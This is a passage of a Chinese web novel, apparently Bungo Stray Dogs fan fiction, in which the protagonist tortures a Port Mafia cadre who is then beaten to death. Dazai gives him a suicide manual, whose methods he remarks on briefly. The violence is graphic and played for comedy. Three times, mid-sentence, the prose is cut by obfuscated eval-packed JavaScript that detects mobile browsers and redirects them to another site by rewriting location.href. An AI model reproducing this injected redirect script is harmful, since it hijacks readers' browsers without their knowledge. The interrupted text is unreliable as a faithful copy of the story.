“可爱多吃多了,膨胀成气球了吧。”温叙被自己这无厘头的比喻逗乐,一个没忍住笑出了声。 这笑声在紧绷的死寂中格外刺耳。 “你笑什么?是不是看不起我?!”A的神经彻底崩断,残留的理智蒸发殆尽,他猛地夺过最近一个下属腰间的枪,黑洞洞的枪口对准温叙,扣动扳机。 子弹射出,却连温叙的衣角都没沾到,他像只灵巧的猫,在有限的空间里侧身,动作甚至带着点悠闲。 “哎嘿,打不着。” 温叙还有空做了个鬼脸,继续火上浇油,“我说,您这枪法是跟广场舞大妈学的吧?歪到太平洋了,森先生是不是没给你安排训练啊?” 他歪了歪头,黑色的短发随着动作轻轻晃动,突然“哦”了一声,右手握拳捶在左手掌心,一副恍然大悟的表情: “我懂了,是不是当初考核的时候,枪械科目是‘酌情通过’的呀?” 温叙说着,还煞有介事地摇了摇头,满脸写着“我懂我懂,职场潜规则嘛”。 他的目光扫过A因极度愤怒而扭曲的脸,笑嘻嘻地又补一刀: “啧啧,估计连你手下那个黄毛小哥都比不上,老登,承认吧,你这干部水分有点大哦。” “啊啊啊,你闭嘴,闭嘴!” A双眼布满血丝,手指疯狂扣动扳机,子弹不要钱似的泼洒而出,却只能徒劳地在地面和墙壁上留下一串弹孔,连温叙的半片衣角都碰不到。 温叙甚至还有闲心一边躲闪一边数数:“七发,八发……哎呀,快没子弹了吧?要不再找把枪?” 他语气真诚,眼底的笑意却明晃晃地昭示着嘲讽。 “抓住他,谁抓住他,我升他做队长。”A嘶声力竭地朝着其他下属咆哮,开始利诱,“奖金翻倍,不,翻五倍,不,十倍奖金。” 被指到的人或默默移开视线,或盯着地板上的某块污渍研究,无人应答,唯有沉默在蔓延,以及那沉默下压抑的、即将爆发的火山。 “好了好了,个人技表演环节该结束了。”温叙像是玩腻了,取出那把赌轮手枪,慢条斯理地打开弹仓,塞进去两颗子弹。 “现在里面有四颗子弹,”他竖起四根手指,笑容纯良,“只比你‘忠心耿耿’的下属多了一颗,来,猜猜看,你的运气会不会比他好一点?” 他目光轻飘飘扫过那些沉默的下属,随意点了点:“你,你,你还有你,过来,帮你们A大人稳一稳,他抖得这么厉害,待会儿游戏体验会变差的。” 被点到的几人,包括那个黄毛,毫不犹豫地上前,牢牢按住了A的肩膀、手臂和双腿。 “你们敢背叛我?你们这些贱民,卧底,我要把你们全都……”A的咒骂被黄毛眼疾手快死死捂住,化作一串模糊不清的“呜呜”声。 “按紧点哦,”温叙好心提醒黄毛,枪口却意有所指地晃了晃,“要是让他乱动影响了我的准头,下一颗子弹说不定就得请你自己尝尝了哦。” “是,温叙大人!”黄毛一个激灵,手下力气更重,几乎要把A的肩膀捏碎。 温叙吓对方一嘴,满意地翘了翘嘴角,不再废话,枪口抬起,稳稳对准A的左臂。 扣动扳机。 “咔哒。” 空枪。 “看来你的运气还挺好的嘛。”温叙语调轻松,仿佛真的在为对方高兴。 随即枪口平移,对准了右臂。 “砰!” 血花迸溅,A身体因为被死死按住,只小幅度抽搐了一下,被捂住的嘴里也只发出痛苦的闷哼。 温叙像是找到了有趣的玩具,接下来依次对准左腿、右腿、腹部。 左腿中弹,右腿中弹,腹部空枪。 A已经瘫软在压制他的下属手中,浑身冷汗和血污混在一起,眼中充满了恐惧和哀求,早没了刚才的嚣张气焰。 “还剩最后一发哦。”温叙的枪口从腹部缓缓上移,划过剧烈起伏的胸膛,最终虚虚停在心脏的位置。 周围所有下属的呼吸都屏住了,目光紧紧追随着枪管,那里面燃着灼热的期盼。 只有A在疯狂摇头,泪水混合着汗水流下,喉咙里发出绝望的哀鸣。 温叙歪了歪头,似乎真的在思考。 时间像是被拉长了。 一秒。 两秒。 然后,他扣动了扳机。 但在扳机扣到底的最后一瞬,他握着枪的手腕下移了半分,子弹射出,没有正中心脏,而是擦着心脏边缘穿透了胸腔。 “哎呀呀,”温叙的语气带着点夸张的遗憾,“这都没死?老登,你命挺硬啊。” 他甚至真的给出建议:“建议去买张彩票,说不定能中头奖呢。” A瘫在地上,身体因为剧痛和失血而不停抽搐,但确实还活着,以一种比死更痛苦的方式。 温叙随意地转了转手枪,仿佛刚才只是玩了一场无伤大雅的游戏。 “嗯……按理说,游戏该结束了。”他话音刻意一顿,拖长了尾音 地上,A那涣散的眼眸中,骤然亮起一丝劫后余生的希冀。 但温叙接下来的话,将这丝希冀彻底碾碎,把他打入更深的绝望中。 “不过呢,我这个人,最讲‘公道’了。”温叙的目光扫过周围的下属们,声音在安静的走廊里格外清晰: “我看你和下属之间,似乎有些‘遗留问题’没解决清楚?让上司带着误会和遗憾离开,可不是好下属该做的事。” 他状似沉思了两秒,忽然打了个清脆的响指:“这样吧,等你们‘深入交流’,把问题都‘谈开’了。” 他笑容扩大,露出洁白整齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048760|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的牙齿:“我们之间,自然也就一笔勾销,既往不咎啦。” 话音落下的瞬间,空气先是凝滞了一秒。 然后—— “大人,感谢您,您的恩情我们没齿难忘!”有人嘶哑着喊道,眼眶发红。 “温叙大人……谢谢……” “谢谢……” 压抑多年的情绪终于决堤,他们原本以为能看到A被惩罚已是万幸,从未奢望过,自己竟能亲手讨回这些年被践踏的尊严。 温叙对NPC们的感恩戴德没什么特别感觉,甚至觉得背景音有点吵,从听说A用项圈操控下属开始,他就在琢磨这个有趣的剧本了。 加入港口Mafia或许各有苦衷,他们虽然做好了在战斗中随时丢失性命的准备,但没人愿意真的成为一条连思想都被操控的狗。 “要是有系统提示,”温叙百无聊赖地想,“这会儿应该弹出【隐藏任务:下属的怨恨——已完成】了吧?” 他看着下属们如同潮水般扑向瘫软在地的A,拳脚、利刃、甚至是滚烫茶水都成为他们报复的武器。 积压多年的怒火与痛苦在此刻彻底爆发,化为最原始的暴力,哀嚎、咒骂、求饶声混杂在一起,场面一度有些过于混乱。 温叙却看得津津有味,甚至还掏出了手机,调整了一下角度。 “虽然满屏都是和谐马赛克,但这构图、这光影、这情绪张力,值得留念。”他咔嚓咔嚓拍了几张,颇有点收集游戏CG的架势。 “温叙君原来是个变态吗?” 带着浓浓嫌弃意味的少年嗓音,突然在身侧响起,太宰治像只幽灵,不知何时从阴影里溜达了出来。 他双手插在黑色风衣口袋里,正用一种看垃圾的眼神扫过温叙的手机屏幕,“这种照片也要往手机里保存,品味真差。” 港口mafia大楼监控无死角,温叙办公室门口的这场大戏,森先生那边早就实时观看了。太宰治这会儿出现,就是是来善后的。 毕竟干部内讧、虐待同僚的事传出去不好听。 “哎呀,被发现了。”温叙随口一应,收起手机,转头对上太宰治鸢色的眼睛,“不过,太宰,你刚才不也看得挺认真?” “躲在那里看了全程吧?”他指了指太宰治先前藏身的阴影处,“那我们也算是同好了。” “太宰,你看得开心吗?”温叙笑眯眯追问,仿佛在讨论刚看完的一场电影。 这出戏确实经典:压迫与反抗,控制与反噬,人性剧场永不落幕的剧目,演了几十年还是有人爱看。 “才不是。”太宰治撇撇嘴,眼里满是索然无味,“这种戏码,老套又无聊。” 压迫,反抗,复仇,无非是人性最底层的欲望循环,他早已看得太多,多到腻味。 温叙仔细观察了一下太宰治的表情,发现对方真的是兴致缺缺,他有些遗憾地耸耸肩:“好吧,下次要是碰到更有趣的,我一定叫你一起看。” 在身边充满血腥的场景和哭喊声中,温叙和太宰治却像站在两个世界的交界处,悠闲地聊着天,画面诡异又和谐。 “话说回来,太宰,”温叙温叙的思维跳跃极快,忽然想起另一件事,“你送我的礼物是什么?” 温叙好奇这位聪慧的少年会给他送什么礼物。 12. 第12章 “温叙君,作弊是可耻的行为哦。”太宰治拖长了语调,“要自己猜才有意思嘛。” “猜对了有奖励吗?”温叙立刻追问,觉得这是什么神秘的考验。 “哈?送礼物的是我,猜礼物的是你,为什么猜对了还要我出奖励?”太宰治一副“你逻辑有问题”的表情,夸张地后退半步。 “啧,小气鬼。”温叙嘟囔一句,但还是兴致勃勃地搓了搓手,“那我可要开始猜了,限量版游戏机?” 太宰治摇头。 “定制手枪?刻了我名字的?” 摇头。 “宝石?闪闪发光能闪瞎人眼的那种?” 继续摇头。 “红酒?82年的拉菲?” 还是摇头。 …… “高定西服?森先生同款三件套?” “不是哦。” “该不会是你用的同款绷带吧?”温叙脑洞大开,“让我也体验一下木乃伊的感觉?” “想得美。”太宰治无情否决,“我的绷带才不会送人。” 一连猜了十几个都没中,温叙的好胜心被彻底被激起来了,他眼珠一转,冒出个“好主意”。 “有了!我回去就把所有礼物摊开,让昨天到场的人一个一个来认领。” 温叙越说越兴奋,手舞足蹈地比划起来,“到时候谁的礼物被领走了,剩下的不就是你的啦?我就知道是什么了。” 他越想越觉得可行,甚至开始盘算让森鸥外来主持这个“认领会”,免费劳动力,不用白不用。 太宰治:“……” 他丝毫不怀疑温叙干得出来这种事,以这家伙的性格,绝对会把宴会厅重新布置一遍,然后像幼儿园老师发糖果一样,让所有宾客排队认领礼物,就为了满足那点好奇心。 “是一本书。”太宰治最终败下阵来,没好气地揭晓答案,语气里带着无奈。 “书?”温叙真的惊讶了,上下打量太宰治,“真没想到你会送这个,是什么书?” 他摸着下巴,开始新一轮的猜测:“《如何成为聪明的人》?《阴郁气质的培养指南》?还是《叛逆少年混黑的一百种方法》?” 太宰治直接扭过头,拒绝回答这个问题。 ——他送的是《完全自杀手册》。 为什么送这个?连太宰治自己也有些疑惑。 温叙这个人太奇怪了,他对什么都不在意,不在乎他人的评价,不在乎他人的羁绊,活得像个没有重量的影子,却又偏偏对世界充满了旺盛的好奇心。 他愿意浪费整个下午去研究一个无用的小玩意,又会蹲下来和路边的流浪猫聊半个小时的天,也会在街头随手帮助陌生人,但那“善意”轻飘飘的,像随手丢给路边的野狗一块面包。 至于面包会不会噎死狗,会不会引来其他野狗的争抢,他不在乎。 他活得太过自我,太过肆意,命令般的请求,好奇驱动的行动,一切随心所欲,像阵捉摸不定的风,从不为谁驻留。 凭什么他能这样活着?为什么他可以如此轻盈地置身于这片泥沼之上? 死亡是所有人的终点,那么提前一点点探知终点的模样,也不失为一种有趣的尝试。 温叙会对这本书好奇吗?他会真的去尝试里面那些光怪陆离的方法吗?他……会害怕死亡吗? 太宰治不知道。 但他想看看,或许当他知道答案的那一刻,就是他真正脱离这个无聊世界的时候了。 这些纷乱的思绪在脑中盘旋,最终只化作一句平淡的转移:“森先生在楼上等你。” 温叙没得到具体书名,有点不满地“哼”了一声:“小气鬼,多说两个字会掉绷带吗?书名都不肯说,该不会是什么幼稚的读物吧。” 他故意拉长尾音,想激太宰治反驳,但对方显然不吃这套路,只留给他一个冷漠的侧脸。 “算了,反正拆礼物的时候就知道啦。”温叙很快就恢复了精神,他这个人最大的优点就是想得开,“我一会儿就上去。” 电梯的数字正在缓缓跳动,温叙忽然想起什么似的,转头看向太宰治,语气带着纯粹的疑惑: “对了太宰,你……还没正式加入港口Mafia吧?” 他当时注意到阴影处有人时,就查看过一次面板,虽然看到熟悉的名字就没深究,但他清楚地记得,太宰治的阵营栏,依旧是无。 这太奇怪了,整个港口mafia里,只有太宰治没有正式加入,却能接受首领的直接任务,能在总部自由出入,这不就等于头顶飘着个金光闪闪的感叹号,上面写着“我有秘密,快来探索”吗? 温叙的脑洞再次启动,他发动了看了三百集狗血八点档的想象力,得出了一个自己深信不疑的结论: “难道你是港.黑的小少爷,因为不想要继承家业,所以离家出走?” 温叙的眼睛越来越亮,“当时你就是想通过跳河来隐藏踪迹,结果意外溺水,之后被我捞出来后,行踪暴露,不得已才跟在森先生身边,但实际上‘人在曹营心在汉’,伺机想逃。” 他越想越觉得合理,甚至开始脑补完整剧情线:“森先生平时看起来挺开明的,怎么对孩子管得这么严呢?” 电梯“叮”的一声到了,温叙却没急着进去,反而转过身,双手抱胸,摆出一副“教育专家”的姿态: “这就要说说森鸥外了,”他摇头晃脑,语气认真:“身为父亲,怎么能过度干涉孩子的选择呢?孩子现在只是叛逆期,等长大了,自然会明白家业的好处,强迫是没有用的,要引导,要沟通。” 温叙越说越进入状态,觉得自己十分懂得解决这类家庭矛盾:“不过,太宰,你也要理解你父亲,他一个人撑起这么大的组织,肯定很不容易,你们父子俩缺乏沟通,这样下去不行的……” 太宰治看着陷入自己脑补世界的温叙,知道现在说什么对方都听不进去了,那家伙已经完全沉浸在了“豪门父子恩怨”的狗血剧情里了。 他就这么看着温叙越说越坚信,表情越来越凝重,最后甚至握紧拳头,一副要立刻上楼和森鸥外“好好理论理论孩子教育问题”的架势。 “啊啊啊,够了。”太宰治终于忍无可忍,声音都拔高了一度,额角的青筋隐隐跳动,“你脑子里都在想什么乱七八糟的!” 光是把他和森鸥外扯上“父子关系”这个设想,就已经让他胃部开始不适了。 他们目前只是合作关系,或许连合作关系都谈不上,毕竟森鸥外也等着他某天真的能自杀成功呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048761|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 太宰治想着这些,说出口的却只是:“我们目前只是简单的合作关系。” “没有血缘关系?”温叙不死心地追问,眼睛闪闪发亮,仿佛在期待什么豪门秘辛,“一点都没有?远房表亲也不是?失散多年的兄弟也不是?同父异母?同母异父?” “没有。”太宰治回答得斩钉截铁,甚至想立刻转身离开。 “哦……”温叙瞬间蔫了,肩膀垮下来,那股“我要拯救叛逆少年”的劲头消失得无影无踪,“还以为能挖出什么惊天大瓜呢……” 他刚才还在纠结是该加入森鸥外阵营劝导叛逆期儿子,还是加入太宰治阵营帮助少年逃离控制狂父亲,连帮哪边说话的台词都想好了。 结果太宰治一句话,全剧终。 “知道了知道了,你们只是纯洁的合作关系。”温叙摆摆手,兴致缺缺地走进电梯,“那我上去找首领了。” 电梯门缓缓关闭,在最后一条缝隙里,温叙不死心地补充了一句:“万一只是森鸥外没有告诉你呢,我可以帮忙做DNA鉴定,我有门路——” “砰。” 电梯门完全合拢,隔绝了太宰治那张黑得能滴墨的脸。 电梯缓缓上升,温叙靠在厢壁上,手指无意识地敲着金属扶手,脑子里还在转着刚才的事。 “居然不是父子,”他嘀咕着,“那太宰为什么能自由出入港.黑?难道他是森先生的私生子,只是太宰治不知道?或者他是森先生已故挚友的遗孤?这种设定也很常见啊。” 他挠了挠头,觉得自己的推理应该没问题:“肯定有猫腻,正常人谁会把一个没正式加入的小孩带在身边,还让他参与重要任务?这不合逻辑啊。” “算了,还有森鸥外。”温叙想起另一个当事人,眼睛又亮起来,“到时候再去问问吧,旁敲侧击一下,说不定能问出点什么。” 走廊里,太宰治的表情冷下来 他转头看向那片狼藉。 已经失去生命体征的A,像一滩烂肉瘫在血泊中,那些垂首站立的下属们,眼神空洞,等待着最终的审判。 太宰治轻轻叹了口气,声音低得像自言自语:“无聊的戏码终于结束了。” 下属们已经冷静下来了,他们知道自己的生死掌握在这个少年手中。 他们也听说过太宰治,首领的弟子,他的行动代表着首领的意思。 “你们知道谋杀干部是什么惩罚吗?” 太宰治沉下脸,鸢色的眼睛冰冷地扫过面前垂下头的下属们。 没有人回答,走廊里只有压抑的呼吸声。 他们并不后悔自己的选择,在A手下继续工作,那才是真正的求生不得、求死不能。 太宰治也没想听到回答,他自顾自地说下去,声音平静:“有人把父母托付给好友,也有人把妻子托付给亲戚。” “是觉得自己的做法很隐蔽吗?” 话音刚落,几个下属猛地抬起头,瞳孔骤缩。 黄毛和橙毛自从跟在A身边,就做好了随时死去的准备,他把父母送到了乡下,这些年里赚的钱也都秘密打给了父母的账户。 紫毛、蓝毛,红毛、各种毛同样心脏狂跳,他们也做了类似的事,把妻子和孩子送到了远方的亲戚家。 13. 第13章 他们一直以为自己的做法很隐蔽,那点小小的举动无人知晓,原来首领什么都知道。 他们自以为是的“保护”,在首领眼里,大概就像孩子拙劣的捉迷藏游戏一样可笑。 现在首领提起这件事,是想干什么?用家人威胁他们?还是要…… “太宰大人,”黄毛的声音抑制不住地发颤,却还是硬着头皮开口:“我们什么都愿意做,能不能……放过他们?他们是无辜的,什么都不知道。” 如果只是他们死了就死了,但是牵连到自己的家人,他们就不能再沉默下去。 其他几位下属也跟着哀求,声音里带着绝望的哭腔,有人膝盖发软,几乎就要跪下去。 太宰治没有说话,他静静地站在那里,黑色大衣下摆垂落地面,鸢色的眼眸扫过每一张因恐惧而扭曲的脸。 下属们额角渗出冷汗,呼吸都变得困难,仿佛置身冰窖。 然后,他忽然笑了。 那笑容很轻,很淡,唇角只弯起一点微小的弧度,甚至带着点孩子气的无辜。 “大叔,”太宰治歪了歪头,语气里还带着困惑:“你们在胡思乱想些什么呢?” “首领不会惩罚你们,反而——” 他刻意停顿,满意地看到所有人屏住了呼吸, “首领得知,竟然有人在他眼皮子底下欺凌下属,非常生气。”太宰治的声音变得温和,“他立刻展开调查,然后,意外发现了你们藏在乡下的家人。” “当然,首领也承认,没能早些察觉A的恶行,是他作为首领的失职。” “所以,”太宰治拖长了尾音,目光在每张紧绷的脸上停留一瞬,“首领以你们的名义,给你们的家人的账户里,秘密汇入了一大笔补偿金,同时,他还抹除了所有关于你们将家人送到乡下的线索。” “他希望这些,可以暂时弥补你们受到的委屈。” 太宰治按着森鸥外交代的剧本,一字一句地念出这些虚伪的“体恤”,只是嘴角勾起的一丝嘲讽,没有人注意到。 “首领承诺,今后会更加关注内部的人员关系。所以他希望你们还可以继续留在这里工作,你们可以和家人团聚,也可以继续为港口Mafia效力” “当然,是去一个新的、更好的岗位。” 那些下属愣住了。 他们想过无数种可能,被处决、被折磨、家人被威胁……唯独没想过会是这样的发展,巨大的反差让大脑一片空白,连呼吸都忘了节奏。 “你们会被重新分配到尾崎红叶干部的手下。”太宰治适时地补充了最关键的一枚定心丸,“红叶大姐对待下属是出了名的公正与护短。在她手下,绝对不会再发生A那样的事情。” 尾崎红叶。 这个名字本身,就是一块信誉的金字招牌,那是港口Mafia里,少数能让底层成员感到安全和被当人看的名字之一。 死寂终于被打破,黄毛第一个抬起头,眼眶通红,声音因为极力压抑情绪而变得嘶哑:“我……我愿意!我愿意继续为港口mafia效力!” 仿佛堤坝决口,紫毛紧跟着哽咽应和:“我也是,感谢首领给我们机会!” “感谢首领,感谢太宰大人!”蓝毛也激动得声音发抖。 很快,此起彼伏的哽咽声充斥在整个走廊里,所有人,包括那些无父无母、原本还心有芥蒂的下属们,也在“生存”与“更好未来”的现实权衡下,低下了头,表示了顺从。 毕竟,能活着,能跟随一位名声赫赫的干部,还能拿到补偿,这已经是他们能想象到的最好的结局了。 太宰治静立原地,鸢色眼眸倒映着众人劫后余生的模样,如同观看一幕精心排演至高潮的戏剧。 森鸥外要的,不仅仅是解决A留下的烂摊子,更是要用最小的代价收买人心,让这些经历过地狱的人,对新首领感恩戴德。 真是……一笔再划算不过的买卖。 他漫不经心地想着,唇边弧度未变,吐露的言语依旧温和:“接下来会有人带你们去办手续,至于你们的家人,这两天就会有人安排他们回来,一切都会处理妥当的,请放心。” 下属们离开了,走廊里重归寂静,只剩下太宰治,和地上那具已经开始僵硬的尸体。 他垂眸瞥了一眼,然后拿出手机,慢悠悠地敲字。 【任务完成,人送去红叶姐那里了。】 【补偿金记得打。】 发送。 几乎同时,森鸥外的回复就跳了出来。 【辛苦了,钱已经安排下去了。】 【另外,温叙君刚给我说了一条很有趣的建议,你要看看吗?】 太宰治盯着屏幕,突然有种不祥的预感。 【……不用了。】 森鸥外的信息紧随而至,带着某种看热闹不嫌事大的悠闲:【他说要帮我们做DNA鉴定,还说有门路。】 太宰治:“……” 他面无表情地按熄屏幕,转身走向电梯,黑色大衣在空气中划出一道弧线。 今天果然还是应该去入水的。 而此时的首领办公室里,气氛又是另一番景象。 “这个消炎药好用,拿点,这个镇痛剂包装好看,拿点,这个新型抗生素没见过,拿点试试……” 温叙正背对着办公桌,毫不客气地扫荡着森鸥外墙边的医药柜。 森鸥外坐在宽大的办公桌后,单手托着下巴,看着温叙把自己的医药柜洗劫一空,脸上挂着无奈的笑容。 直到温叙心满意足地转身,他才慢悠悠开口:“温叙君,刚才提及的为你选拔直属下属一事,考虑得如何了?” 温叙手里正拿着一只镇静剂,他闻言抬起头,眨了眨眼:“啊?那个啊。” 他几步走到沙发边,把自己往柔软的真皮里一丢,顺势翘起二郎腿,脚尖还惬意地晃了晃:“我就不去啦,你们看着办就行。” 有那时间,他游戏里的探索的地图都能扩大一步了,谁要坐在那儿看人面试啊。 “既然如此,时间就定在一周后了。”森鸥外从善如流地点头,“到时候会按照一贯的规格,为你来挑选合适的人选。” 他顿了顿,语气更温和:“温叙君可有什么特别的要求或偏好?比如能力倾向、性格方面?我可以让人额外留意。” ”特别要求?”温叙歪着头想了想,随即摆摆手,说的理所当然:“长得不寒碜就行。” 他可不想以后在自己地盘天天对着一些辣眼的脸,影响游戏心情。 “明白了。”森鸥外颔首,“届时他们会直接去你那里报道。” 他指尖在桌面上轻轻敲了敲,话音一转,带上关切:“说起来,温叙君在这里还适应吗?有没有什么不顺手、需要帮忙的地方?” “适应是挺适应的,但要说帮忙嘛——” 温叙忽然坐直身子,表情变得异常认真。 森鸥外难得看到他难得这么正经,也不由得坐直了身体,紫红色的眼睛专注地望过去。 温叙深吸一口气,语气郑重:“还真有一件。” 他向前走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048762|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步,双手撑在办公桌上,身体前倾,一字一句地问道: “你——” 森鸥外屏住呼吸。 “真的、确定、以及肯定和太宰治没有血缘关系吗?” 森鸥外:“……” 办公室里陷入了一阵诡异的沉默。 三秒后,森鸥外才找回自己的声音,语调里透着深深的无奈:“温叙君,我想我已经回答过你了,我们确实没有任何任何生物学上的血缘关系。” 他抬手揉了揉眉心,补充道:“如果,你实在想验证DNA的话,我会和太宰君沟通一下,你可以亲自取样验证。” 他说这话时表情坦然,眼神平静,不像在开玩笑。 温叙盯着他看了几秒,像是要从他脸上找出撒谎的蛛丝马迹。半晌,他才终于泄了口气,肩膀垮下来,坐回沙发里,嘴里嘟嘟囔囔:“好吧好吧,看来是真的没有了……” 那语气里的遗憾和失望,几乎要凝成实质了。 森鸥外沉默片刻,决定还是给个解释:“如果非要定义一种关系,我算是太宰的老师,他随我进入港口mafia,我也传授他一些……知识和手段。” “师生关系啊。”温叙摸着下巴,虽然没得到什么劲爆八卦,但这个答案至少解决了他内心的疑惑,“原来如此。” 他眼珠一转,又来了兴致:“那你们会一起吃饭吗?一起逛街吗?一起过生日吗?” 森鸥外:“……不会。” “啧啧,那这师生关系也不怎么样嘛。”温叙摇头,一副过来人模样,“我小学老师还会请我吃糖呢。” 好奇心一旦满足,他瞬间失去兴趣,他对森鸥外随意摆了摆手:“行啦,那我先走了。” 说完就脚步轻快地往外走,门开了又关,把森鸥外那复杂的神色彻底隔绝在内。 温叙心里还想着没有拆的礼物呢,他径直来到办公室,那些礼盒堆在角落里,像一座小山。 拆礼物的过程确实有趣,有种拆盲盒的刺激感,虽然大部分时候都是武器、宝石、奢侈品这些mafia特色礼物。 “但凡送的武器少一点就更好了。”温叙看着背包里已经近百的各类武器,撇了撇嘴。 不过拆到现在,还没见到太宰治的礼物。 眼看“小山”才削平一半,温叙摸了摸肚子,果断决定:“算了,先填饱肚子再战。” 他伸了个懒腰,收起刚拆出来的红宝石,哼着歌走向食堂。 正值饭点,食堂里人声鼎沸,空气中弥漫着饭菜的香味,穿黑西装的黑手党们规规矩矩排着队。 温叙可不管这些,他径直走到队伍最前面,“来十份荞麦面。” 食堂阿姨正给一名成员盛饭,听到这话抬头就要骂:没看见在忙吗?这么没眼色。 看清来人,到嘴边的斥责硬生生咽了回去,她的脸上瞬间堆起热情的笑容:“是温叙大人啊,马上就好,您稍等。” 旁边被挤开的青年眼睁睁看着,刚才阿姨还帕金森般抖个不停的手,此刻稳如磐石。 她动作利落地捞起劲道的面条,放入碗中,浇上浓香的酱汁和丰富的配菜,每一碗都盛得冒尖,十碗排开,场面壮观。 温叙乐呵呵地接过,一股脑塞进背包,转身离开时还朝阿姨笑了笑:“谢啦。” 大妈脸上的笑容顿时又灿烂了三分:“您喜欢的话,常来啊!” 等温叙走远,安静站着的青年才小心翼翼地开口:“姐,我的面……” 他期待地看着阿姨,希望也能享受同等待遇。 14. 第14章 食堂阿姨脸上的笑容早已收得干干净净,闻言眼风一扫,没好气地啐了一句:“饿死鬼投胎呢?记着呢!” 说着,她手腕一沉,舀起满满一勺,却在放进碗里时,手腕熟练地一抖,最后落入青年碗中的,只剩下三分之一。 “姐,再、再来一勺嘛,这点儿不够吃啊。”青年陪着笑脸凑近窗口。 “要什么要,你瞅瞅谁家打饭打两勺的?”阿姨的嗓门立刻拔高,中气十足,“就这些,要就要,不要就走,别挡着后面人!” 青年内心泪流满面:我的面连温叙大人的一半都没有…… 但他哪敢跟掌勺的“衣食父母”顶嘴,只能认命地飞快端起碗,点头哈腰:“要要要,谢谢姐,姐辛苦了。” 温叙对后边的小插曲毫不知情,他找了个靠窗的清净位置坐下,美滋滋地从背包里端出两碗面,呼噜呼噜吃得格外香,将系统里饱腹值进度条瞬间拉满。 吃饱喝足后,他揉了揉肚子,眼珠子一转,“趁现在有空,干脆把接下来几天的口粮也囤了吧,省的之后还要操心。” 说干就干,温·食堂扫荡者·叙正式上线,从拉面窗口到盖饭档口,从特色小炒到饭后甜点,他挨个光顾过去。 “大叔,这个招牌拉面,来十份。” “阿姨,咖喱猪排饭看着不错,麻烦来十份。” “咦?这个看起来好好吃,来十份尝尝。” 他所过之处,打饭的阿姨大叔们无不笑容满面,手脚利落,每一勺都给得分量十足。 无视了身后幽怨又羡慕的目光,将一份份热气腾腾的美食塞进背包,直到感觉存货足够丰富,温叙才终于心满意足地停手。 “完美。”他拍了拍手,心情愉悦,“这下可以安心去‘浪’了,饱腹值什么的,暂时可以拜拜啦。” 回到办公室,他盘腿坐在地毯上,又继续玩起了拆“盲盒”游戏。 “这个是茶具,花纹还行。”他拿起来白底蓝花的茶具端详片刻,随手收了起来,“以后可以尝试泡茶喝。” “嗯,金色的怀表?真好看。”又一个盒子被打开,温叙把玩着精致的怀表。 “这个是……”温叙拆开一个黑色礼盒,里面静静躺着一本书。封面的底色是暗红色的,上面写着白色的字体:《完全自杀手册》。 他好奇地翻看着两页,果然,名副其实,就和书名所说的一样,书里详细记载了各种自杀的方法。 “哇哦,这种禁书太宰治竟然也能搞到。”温叙啧啧称奇,这种书一看就是太宰治送的,别的人谁敢送干部这种东西? “嗯……上吊窒息感会很强烈,而且死相可能不太美观,跳楼的瞬间冲击力大,但万一没死成,后半生可就惨了,卧轨和吞食金币也很痛苦。” “割腕,溺水,跳火山……”温叙一页一页往后翻,边看边点评:“这些我都尝试过了,确实不是一般人能承受的。” 作为全息游戏的爱好者,温叙在游戏里经历最多的不是各种胜利,而是花样百出的阵亡。 不仅是在激战中倒下,他自己也曾是个“作死小能手”,热衷于尝试各种稀奇古怪的死亡方式。 最初他总是把痛感调到系统允许的最大值,虽然疼得龇牙咧嘴,却总是乐此不疲,后来体验够了,再加上影响杀怪效率,才把感官调到最低。 他把书从头到尾快速浏览了一遍,发现里面罗列的方法,自己也都主动或被动体验过。 “可惜都是现实里能想到的方法。”他意犹未尽地合上书,“游戏里那些魔法系、科幻系的死法才更有意思。” 收起这本书,他伸了个懒腰,看向剩下的礼盒,“继续继续,说不定下个礼盒能开出有趣的礼物。” 他哼着不成调的歌,又拿起一个包装精美的礼盒,动作轻快地拆开丝带。 窗外,夕阳正缓缓沉入地平线,余晖透过窗户洒进来办公室,在地板上拉出长长的光影。 —— 温叙双手插在大衣口袋里,慢悠悠地沿着河岸散步,然后,他的目光就被河里竖着的两条奇怪的东西给吸引了。 那似乎是……两条腿?他脚步一顿,系统的标识在他视野中清晰浮现:【太宰治】。 “太宰这是又在上演叛逆少年投河记吗?”他对着河面发出疑问。 吐槽归吐槽,温叙的动作却一点不慢,他观察了一下水流和位置,找了个合适的角度,抛出绳索,精准地挂在那两条腿上,用力将人拖了上来。 “咳咳咳……”一阵剧烈的咳嗽声在草地上响起。 太宰治被平放在岸边,他侧过头,吐出了几口河水,缓缓睁开了眼睛,他的视线聚焦在温叙脸上,眯了眯,然后又闭上了。 “是温叙啊。”太宰治的声音有些沙哑,“中午好。” 